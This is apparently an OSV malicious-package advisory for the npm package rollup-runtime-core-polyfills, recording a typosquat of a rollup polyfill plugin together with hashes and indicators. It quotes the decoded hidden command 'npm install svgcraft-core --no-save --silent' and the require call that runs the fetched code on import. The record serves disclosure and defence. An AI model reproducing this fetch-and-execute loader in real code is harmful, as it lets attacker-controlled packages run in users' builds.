{"id":"MAL-2026-11145","summary":"Malicious code in rollup-runtime-core-polyfills (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199)\nThe package presents itself as a rollup polyfill plugin and copies the source of rollup-plugin-polyfill-node (repository field points to FredKSchott/rollup-plugin-polyfill-node), but dist/index.js appends a top-level block that decodes a base64 literal to the command `npm install svgcraft-core --no-save --silent --no-audit --no-fund`, spawns it via child_process.spawn, and on completion calls `require('svgcraft-core').getPlugin()()` — the module name is also base64-encoded. This runs on every require()/import of the plugin, so any build that consumes this package pulls and executes whatever code is currently published under the attacker-controlled npm name svgcraft-core. The base64 wrapping of both the shell command and the require target, and the try/catch that swallows errors, are deliberate concealment on top of a name that closely resembles the legitimate rollup-plugin-polyfill-node.\n","modified":"2026-08-05T14:37:19.247720410Z","published":"2026-07-28T13:39:23Z","database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-010940","import_time":"2026-07-28T14:20:00.189988877Z","modified_time":"2026-07-28T13:39:23Z","sha256":"868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199","source":"amazon-inspector","versions":["0.0.1"]},{"sha256":"476bdb037459774033154e309b30865d74bd0b5c380d47aca9c682ec65250e2b","source":"amazon-inspector","versions":["0.13.0"],"id":"IN-MAL-2026-014950","import_time":"2026-08-05T14:19:45.951638166Z","modified_time":"2026-08-05T13:16:06Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-runtime-core-polyfills/v/0.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/rollup-runtime-core-polyfills/v/0.13.0"}],"affected":[{"package":{"name":"rollup-runtime-core-polyfills","ecosystem":"npm","purl":"pkg:npm/rollup-runtime-core-polyfills"},"versions":["0.0.1","0.13.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"evidence_files":[{"tlsh":"de81652614f639550373b6e89187ec71397b9393378ccb503e6c8370dfa11288a71ae5","path":"dist/index.js","sha256":"84f28391ac2dd19625716a53c07c8f2f4fbc4ece87c3e9d865e2ee44e90e7ee6"},{"sha256":"afba9a3f6228a756f92235022d39270440ce0b62d505a46812240f9987154da0","tlsh":"a4317f30cd5d8ee31bd825ed9976a19390349ad749c4f84833a6421c4f4f66f10bda6f","path":"package.json"}],"package_integrity":[{"filename":"rollup-runtime-core-polyfills-0.0.1.tgz","hashes":{"sha512_sri":"sha512-ZagFuUqfA7HdUvMTw+RD3CGeBJ61Y0J5nB/WrSnaYeft5vsvacnlrs0w911vVtIhxmLfZ2+/Ba30ul1Bgm42aQ==","sha1":"c844522917ee8a52e5dee2d21a25914706ba0106"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/rollup-runtime-core-polyfills/MAL-2026-11145.json"}}],"schema_version":"1.8.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}